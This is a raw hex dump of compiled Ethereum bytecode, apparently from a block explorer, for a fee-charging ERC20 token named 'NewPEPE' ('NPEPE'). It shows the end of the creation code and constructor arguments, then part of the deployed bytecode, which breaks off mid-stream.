fffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff29061285e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110629061279e565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611149919061287e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061283e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e9061275e565b60405180910390fd5b6000821161127a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112719061281e565b60405180910390fd5b600f60149054906101000a900460ff16156112a15761129a848484611610565b9050611547565b60006112ac306108ea565b90506000600c5482101590508080156112d25750600f60149054906101000a900460ff16155b80156113285750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113405750600f60159054906101000a900460ff165b1561136a57600f60169054906101000a900460ff161561136057600d5491505b611369826117e3565b5b6113f3846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114438787876118db565b905061149781600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611537919061287e565b60405180910390a3600193505050505b9392505050565b6000838311158290611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d919061273c565b60405180910390fd5b50600083856115a59190612afc565b9050809150509392505050565b60008082846115c19190612a1b565b905083811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd906127be565b60405180910390fd5b8091505092915050565b600061169b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117d0919061287e565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff02191690831515021790555061180781611d76565b60004790506000611835606461182760328561200190919063ffffffff16565b61207c90919063ffffffff16565b9050600061184c82846120c690919063ffffffff16565b9050600081111561188457611883600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612110565b5b60008211156118ba576118b9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612110565b5b5050506000600f60146101000a81548160ff02191690831515021790555050565b600080600090506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119655761195e6064611950600a548761200190919063ffffffff16565b61207c90919063ffffffff16565b91506119e3565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119e2576119df60646119d1600b548761200190919063ffffffff16565b61207c90919063ffffffff16565b91505b5b6000821115611aeb57611a3e82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ade919061287e565b60405180910390a3611d58565b6000600267ffffffffffffffff811115611b0857611b07612ce9565b5b604051908082528060200260200182016040528015611b365781602001602082028036833780820191505090505b5090508681600081518110611b4e57611b4d612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2891906122f2565b81600181518110611c3c57611c3b612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87846040518363ffffffff1660e01b8152600401611cd5929190612899565b60006040518083038186803b158015611ced57600080fd5b505afa158015611d01573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d2a91906123f2565b600081518110611d3d57611d3c612cba565b5b602002602001015190508086611d539190612afc565b925050505b611d6b82856120c690919063ffffffff16565b925050509392505050565b6000600267ffffffffffffffff811115611d9357611d92612ce9565b5b604051908082528060200260200182016040528015611dc15781602001602082028036833780820191505090505b5090503081600081518110611dd957611dd8612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7b57600080fd5b505afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb391906122f2565b81600181518110611ec757611ec6612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2e30600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8b565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f929594939291906128c9565b600060405180830381600087803b158015611fac57600080fd5b505af1158015611fc0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ff5929190612899565b60405180910390a15050565b6000808314156120145760009050612076565b600082846120229190612aa2565b90508284826120319190612a71565b14612071576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612068906127de565b60405180910390fd5b809150505b92915050565b60006120be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215b565b905092915050565b600061210883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154e565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612156573d6000803e3d6000fd5b505050565b600080831182906121a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612199919061273c565b60405180910390fd5b50600083856121b19190612a71565b9050809150509392505050565b60006121d16121cc8461299a565b612975565b905080838252602082019050828560208602820111156121f4576121f3612d1d565b5b60005b85811015612224578161220a88826122b0565b8452602084019350602083019250506001810190506121f7565b5050509392505050565b60008135905061223d81612fb8565b92915050565b60008151905061225281612fb8565b92915050565b600082601f83011261226d5761226c612d18565b5b815161227d8482602086016121be565b91505092915050565b60008135905061229581612fcf565b92915050565b6000813590506122aa81612fe6565b92915050565b6000815190506122bf81612fe6565b92915050565b6000602082840312156122db576122da612d27565b5b60006122e98482850161222e565b91505092915050565b60006020828403121561230857612307612d27565b5b600061231684828501612243565b91505092915050565b6000806040838503121561233657612335612d27565b5b60006123448582860161222e565b92505060206123558582860161222e565b9150509250929050565b60008060006060848603121561237857612377612d27565b5b60006123868682870161222e565b93505060206123978682870161222e565b92505060406123a88682870161229b565b9150509250925092565b600080604083850312156123c9576123c8612d27565b5b60006123d78582860161222e565b92505060206123e88582860161229b565b9150509250929050565b60006020828403121561240857612407612d27565b5b600082015167ffffffffffffffff81111561242657612425612d22565b5b61243284828501612258565b91505092915050565b60006020828403121561245157612450612d27565b5b600061245f84828501612286565b91505092915050565b60006020828403121561247e5761247d612d27565b5b600061248c8482850161229b565b91505092915050565b6000602082840312156124ab576124aa612d27565b5b60006124b9848285016122b0565b91505092915050565b60006124ce83836124da565b60208301905092915050565b6124e381612b30565b82525050565b6124f281612b30565b82525050565b6000612503826129d6565b61250d81856129f9565b9350612518836129c6565b8060005b8381101561254957815161253088826124c2565b975061253b836129ec565b92505060018101905061251c565b5085935050505092915050565b61255f81612b42565b82525050565b61256e81612b85565b82525050565b600061257f826129e1565b6125898185612a0a565b9350612599818560208601612b97565b6125a281612d2c565b840191505092915050565b60006125ba602383612a0a565b91506125c582612d3d565b604082019050919050565b60006125dd602683612a0a565b91506125e882612d8c565b604082019050919050565b6000612600602283612a0a565b915061260b82612ddb565b604082019050919050565b6000612623601b83612a0a565b915061262e82612e2a565b602082019050919050565b6000612646602183612a0a565b915061265182612e53565b604082019050919050565b6000612669602083612a0a565b915061267482612ea2565b602082019050919050565b600061268c602983612a0a565b915061269782612ecb565b604082019050919050565b60006126af602583612a0a565b91506126ba82612f1a565b604082019050919050565b60006126d2602483612a0a565b91506126dd82612f69565b604082019050919050565b6126f181612b6e565b82525050565b61270081612b78565b82525050565b600060208201905061271b60008301846124e9565b92915050565b60006020820190506127366000830184612556565b92915050565b600060208201905081810360008301526127568184612574565b905092915050565b60006020820190508181036000830152612777816125ad565b9050919050565b60006020820190508181036000830152612797816125d0565b9050919050565b600060208201905081810360008301526127b7816125f3565b9050919050565b600060208201905081810360008301526127d781612616565b9050919050565b600060208201905081810360008301526127f781612639565b9050919050565b600060208201905081810360008301526128178161265c565b9050919050565b600060208201905081810360008301526128378161267f565b9050919050565b60006020820190508181036000830152612857816126a2565b9050919050565b60006020820190508181036000830152612877816126c5565b9050919050565b600060208201905061289360008301846126e8565b92915050565b60006040820190506128ae60008301856126e8565b81810360208301526128c081846124f8565b90509392505050565b600060a0820190506128de60008301886126e8565b6128eb6020830187612565565b81810360408301526128fd81866124f8565b905061290c60608301856124e9565b61291960808301846126e8565b9695505050505050565b600060608201905061293860008301866126e8565b61294560208301856126e8565b6129526040830184612556565b949350505050565b600060208201905061296f60008301846126f7565b92915050565b600061297f612990565b905061298b8282612bfc565b919050565b6000604051905090565b600067ffffffffffffffff8211156129b5576129b4612ce9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612a2682612b6e565b9150612a3183612b6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a6657612a65612c2d565b5b828201905092915050565b6000612a7c82612b6e565b9150612a8783612b6e565b925082612a9757612a96612c5c565b5b828204905092915050565b6000612aad82612b6e565b9150612ab883612b6e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612af157612af0612c2d565b5b828202905092915050565b6000612b0782612b6e565b9150612b1283612b6e565b925082821015612b2557612b24612c2d565b5b828203905092915050565b6000612b3b82612b4e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612b9082612b6e565b9050919050565b60005b83811015612bb5578082015181840152602081019050612b9a565b83811115612bc4576000848401525b50505050565b60006002820490506001821680612be257607f821691505b60208210811415612bf657612bf5612c8b565b5b50919050565b612c0582612d2c565b810181811067ffffffffffffffff82111715612c2457612c23612ce9565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612fc181612b30565b8114612fcc57600080fd5b50565b612fd881612b42565b8114612fe357600080fd5b50565b612fef81612b6e565b8114612ffa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220137302de847a67c9f5ad0544520c9a601660d60a4b8587cfb6f27779116942de64736f6c6343000807003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000280de800000000000000000000000004078aa147adeb33604e64a0d9f09e238e598a59a00000000000000000000000000000000000000000000000000000000000000074e6577504550450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e50455045000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146103a0578063b2bdfa7b146103dd578063c49b9a8014610408578063dd62ed3e14610431578063f2fde38b1461046e57610114565b80638da5cb5b146102f6578063914eb66a1461032157806395d89b4114610338578063a457c2d71461036357610114565b8063313ce567116100dc578063313ce567146101e957806339509351146102145780633b97084a146102515780636386c1c71461027a57806370a08231146102b957610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610497565b60405161013b919061273c565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906123b2565b610529565b6040516101789190612721565b60405180910390f35b34801561018d57600080fd5b50610196610547565b6040516101a3919061287e565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061235f565b610551565b6040516101e09190612721565b60405180910390f35b3480156101f557600080fd5b506101fe61062b565b60405161020b919061295a565b60405180910390f35b34801561022057600080fd5b5061023b600480360381019061023691906123b2565b610642565b6040516102489190612721565b60405180910390f35b34801561025d57600080fd5b5061027860048036038101906102739190612468565b6106f5565b005b34801561028657600080fd5b506102a1600480360381019061029c91906122c5565b610794565b6040516102b093929190612923565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906122c5565b6108ea565b6040516102ed919061287e565b60405180910390f35b34801561030257600080fd5b5061030b610933565b6040516103189190612706565b60405180910390f35b34801561032d57600080fd5b5061033661095c565b005b34801561034457600080fd5b5061034d610aaf565b60405161035a919061273c565b60405180910390f35b34801561036f57600080fd5b5061038a600480360381019061038591906123b2565b610b41565b6040516103979190612721565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c291906123b2565b610c0e565b6040516103d49190612721565b60405180910390f35b3480156103e957600080fd5b506103f2610c2d565b6040516103ff9190612706565b60405180910390f35b34801561041457600080fd5b5061042f600480360381019061042a919061243b565b610c51565b005b34801561043d57600080fd5b506104586004803603810190610453919061231f565b610d3a565b604051610465919061287e565b60405180910390f35b34801561047a57600080fd5b50610495600480360381019061049091906122c5565b610dc1565b005b6060600280546104a690612bca565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290612bca565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b600061053d610536610f83565b8484610f8b565b6001905092915050565b6000600c54905090565b600061055e848484611156565b506106208461056b610f83565b61061b85604051806060016040528060288152602001612ffe60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d1610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006106eb61064f610f83565b846106e68560086000610660610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b610f8b565b6001905092915050565b6106fd610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610781906127fe565b60405180910390fd5b80600d8190555050565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549250600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016108399190612706565b60206040518083038186803b15801561085157600080fd5b505afa158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612495565b91506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010160009054906101000a900460ff169150509193909250565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610964610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e8906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060038054610abe90612bca565b80601f0160208091040260200160405190810160405280929190818152602001828054610aea90612bca565b8015610b375780601f10610b0c57610100808354040283529160200191610b37565b820191906000526020600020905b815481529060010190602001808311610b1a57829003601f168201915b5050505050905090565b6000610c04610b4e610f83565b84610bff856040518060600160405280602581526020016130266025913960086000610b78610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b6001905092915050565b6000610c22610c1b610f83565b8484611156565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c59610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd906127fe565b60405180910390fd5b80600f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610d2f9190612721565b60405180910390a150565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc9610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d906127fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd9061277e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff29061285e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110629061279e565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611149919061287e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061283e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e9061275e565b60405180910390fd5b6000821161127a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112719061281e565b60405180910390fd5b600f60149054906101000a900460ff16156112a15761129a848484611610565b9050611547565b60006112ac306108ea565b90506000600c5482101590508080156112d25750600f60149054906101000a900460ff16155b80156113285750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113405750600f60159054906101000a900460ff165b1561136a57600f60169054906101000a900460ff161561136057600d5491505b611369826117e3565b5b6113f3846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114438787876118db565b905061149781600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611537919061287e565b60405180910390a3600193505050505b9392505050565b6000838311158290611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d919061273c565b60405180910390fd5b50600083856115a59190612afc565b9050809150509392505050565b60008082846115c19190612a1b565b905083811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd906127be565b60405180910390fd5b8091505092915050565b600061169b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061173082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117d0919061287e565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff02191690831515021790555061180781611d76565b60004790506000611835606461182760328561200190919063ffffffff16565b61207c90919063ffffffff16565b9050600061184c82846120c690919063ffffffff16565b9050600081111561188457611883600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612110565b5b60008211156118ba576118b9600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612110565b5b5050506000600f60146101000a81548160ff02191690831515021790555050565b600080600090506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119655761195e6064611950600a548761200190919063ffffffff16565b61207c90919063ffffffff16565b91506119e3565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119e2576119df60646119d1600b548761200190919063ffffffff16565b61207c90919063ffffffff16565b91505b5b6000821115611aeb57611a3e82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ade919061287e565b60405180910390a3611d58565b6000600267ffffffffffffffff811115611b0857611b07612ce9565b5b604051908082528060200260200182016040528015611b365781602001602082028036833780820191505090505b5090508681600081518110611b4e57611b4d612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2891906122f2565b81600181518110611c3c57611c3b612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f87846040518363ffffffff1660e01b8152600401611cd5929190612899565b60006040518083038186803b158015611ced57600080fd5b505afa158015611d01573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611d2a91906123f2565b600081518110611d3d57611d3c612cba565b5b602002602001015190508086611d539190612afc565b925050505b611d6b82856120c690919063ffffffff16565b925050509392505050565b6000600267ffffffffffffffff811115611d9357611d92612ce9565b5b604051908082528060200260200182016040528015611dc15781602001602082028036833780820191505090505b5090503081600081518110611dd957611dd8612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815